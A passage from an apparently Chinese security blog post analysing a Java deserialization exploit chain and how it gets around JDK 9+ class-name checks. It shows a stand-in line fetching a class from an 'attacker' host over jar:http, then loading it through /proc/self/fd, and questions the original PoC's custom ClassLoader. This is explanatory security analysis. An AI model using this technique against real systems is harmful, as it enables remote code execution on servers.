rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">即</span></span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#34;jar:<a href="http://a/b/c!/Foo" target="_blank">http://a/b/c!/Foo</a>&#34;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">（JVM内部格式，用</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">分隔）</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">│</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">└─</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">第二轮</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">: </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">遍历常量池，校验每个条目格式</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">遇到</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">CONSTANT_UnresolvedClass</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">时</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">:</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">verify_legal_class_name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">常量池中的类名</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">)</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">verify_unqualified_name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">()</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">JDK</span></span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">8</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">:  </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">只禁</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;"> . ; [ </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">http</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">:</span></span><span style="box-sizing: border-box;color: rgb(170, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">// 的 // 通过</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">JDK</span></span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">9</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">+</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">: </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">加禁连续</span></span></span><span style="box-sizing: border-box;color: rgb(170, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">// → http:// 的 // 被拒</span></span></span></span></pre><p cid="n294" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">这个限制让超过JDK8的版本只能触发ssrf，无法直接远程加载。</span></span></span></strong></span></p><p cid="n295" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">简单来说就是无法绕过高版本对于defineClass判定的限制。</span></span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">getResourceAsStream可以实现远程请求</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">，但是defineClass判定的时候类名校验失败。</span></span></span></p><p cid="n296" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">于是衍生出了第二个高版本利用的方案，用</span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">jar:file:</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">来绕过双斜杠的协议协议。</span></span></span></p><pre spellcheck="false" lang="javascript" cid="n297" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">阶段一：SSRF</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">下载</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">JAR</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">到本地</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">getResourceAsStream</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#34;jar:<a href="http://attacker/probe!/POC.class" target="_blank">http://attacker/probe!/POC.class</a>&#34;</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">)</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">标准</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">ClassLoader</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">返回</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">null，但</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">LaunchedURLClassLoader</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">的底层</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">URL</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">解析机制会触发</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">HTTP</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">请求（下载</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">JAR</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">到临时文件）</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">JAR</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">落盘到</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">tmp</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">或内存中，拿到文件描述符</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">fd</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">N</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">阶段二：本地加载</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">getResourceAsStream</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#34;jar:file:/proc/self/fd/N!/POC.class&#34;</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">)</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">本地文件，单斜杠，通过</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">verify_unqualified_name</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">defineClass</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">成功，</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">clinit</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">执行</span></span></span></span></pre><p cid="n298" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">也就是用ssrf来抓取文件到临时文件，然后遍历fd寻找这个临时文件，通过jarfile协议加载，这样就可以绕过高版本对于</span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">//</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">的额外限制，顺利的在高版本做利用。</span></span></span></p><p cid="n299" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">而这个遍历fd的利用方案也导致该问题再windows的高版本jdk中无法利用。</span></span></span></p><p cid="n300" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">但是有没有觉得好像哪里都不太对？</span></span></span></strong></span></p><h1 cid="n301" mdtype="heading" style=" box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 16px;margin-bottom: 1rem; font-weight: bold;line-height: 1.6em;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">看上去好像哪里不对？</span></span></span></h1><p cid="n302" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">在顺着分析了上一个poc的详细流程以及链路之后，我想所有人应该都会得出一个问题就是，</span></span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">为什么会有这样一个远程加载的classloader呢？</span></span></span></strong></span></p><p cid="n303" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">很显然，最早的POC在探索这个链路的时候，自己构造了一个Classloader来闭环整个链路</span></span></span></p><pre spellcheck="false" lang="javascript" cid="n304" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">ClassLoader</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">urlNameClassLoader</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">new</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">ClassLoader</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(34, 17, 153);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">null</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) {</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">@</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">Override</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">public</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">InputStream</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">getResourceAsStream</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">String</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) {</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">return</span></span></span><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">new</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">URL</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">).</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">openStream</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">();  </span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">    }</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">};</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">config</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">setDefaultClassLoader</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">urlNameClassLoader</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">config</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">checkAutoType</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">TYPE</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">, </span></span><span style="box-sizing: border-box;color: rgb(34, 17, 153);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">null</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);</span></span></span></pre><p cid="n305" 